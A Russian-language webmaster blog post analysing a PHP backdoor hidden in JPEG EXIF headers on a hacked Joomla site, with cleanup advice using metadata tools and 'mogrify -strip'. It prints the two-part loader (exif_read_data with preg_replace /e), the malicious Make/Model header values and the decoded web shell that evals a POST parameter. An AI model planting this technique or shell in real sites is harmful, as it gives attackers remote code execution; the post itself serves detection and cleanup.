Скрытие кода, метод 10: почти стеганография

Автор: | 2 мая 2015

Получил от клиента жалобу, что антивирус ругается на… картинки! Сначала я проверил все файлы .htaccess, ничего подозрительного. Затем сами файлы картинок (jpg) командой file – нормальные файлы изображений в формате JPEG. Затем открыл файл (по ссылке) в браузере – обычная картинка (мой антивирус не проверяет изображения на предмет вирусов, а зачем?). Бред какой-то… Тогда я открыл файл в текстовом редакторе – ух ты! А вот и вредительский код:

eval(base64_decode('aWYg...kpO30='));

Что этот код делает в графическом файле? Как он туда попал?

Технические детали

Сайт раньше регулярно взламывали (старый движок Joomla – это зло), после очередного взлома я просто заблокировал все .htaccess- и php-файлы для записи или изменений, обновил плагин mce и взломы прекратились. Последний взлом был года два назад. Примерно в то же время специалист компании Sucuri обнаружил новый вид бэкдоров, скрытый в изображениях.

Закладка состоит из двух частей: первая часть (первый файл) содержит код с безобидной функцией exif_read_data и коварной функцией preg_replace (о ней я упоминал в методах скрытия кода номер 3 и номер 8).

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Данный код сам по себе достаточно безобиден, но в игру вступает его вторая часть (я покажу готовые заголовки):

IFD0.Make: /.*/e
IFD0.Model: eval(base64_decode('aWYg...kpO30='));

В файле, если открыть его в текстовом редакторе, это добро выглядит как читабельный текст, разделенный символами ^@

Текст в base64 – это старый добрый бэкдор:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
Лечение (чистка) файлов

Как же вылечить файлы? Есть несколько вариантов.

  • PEL(PHP Exif Library). Библиотека для чтения и записи заголовков Exif в JPEG и TIFF изображениях с использованием PHP.
  • The PHP JPEG Metadata Toolkit. Позволяет читать, писать и отображать следующие форматы метаданных JPEG: EXIF 2.2, XMP / RDF, IPTC-NAA IIM 4.1 и т.д.
  • ExifTool by perl. ExifTool умеет все, она поддерживает EXIF, IPTC и XMP (чтение/запись).

Это если у вас есть время и вдохновение. Если его нет, самый простой путь – грохнуть все заголовки (метаданные). В этом вам поможет пакет imagemagick и волшебная команда:

mogrify -strip image.jpg

Кстати, этой же командой можно и записывать заголовки:

mogrify -profile 8BIMTEXT:text.txt image.jpg

Предварительно заготовив текстовый файл text.txt, где указать что-то вроде:

2#05#Object Name="Foo"
2#55#Date Created="Bar"
2#80#By-line="Baz"
2#110#Credit="Quux"
2#115#Source="Foo"
2#116#Copyright Notice="FooBar"
2#118#Contact="FooBaz"
2#120#Caption="FooQuux"

Подробнее можно посмотреть здесь.

а

Добавить комментарий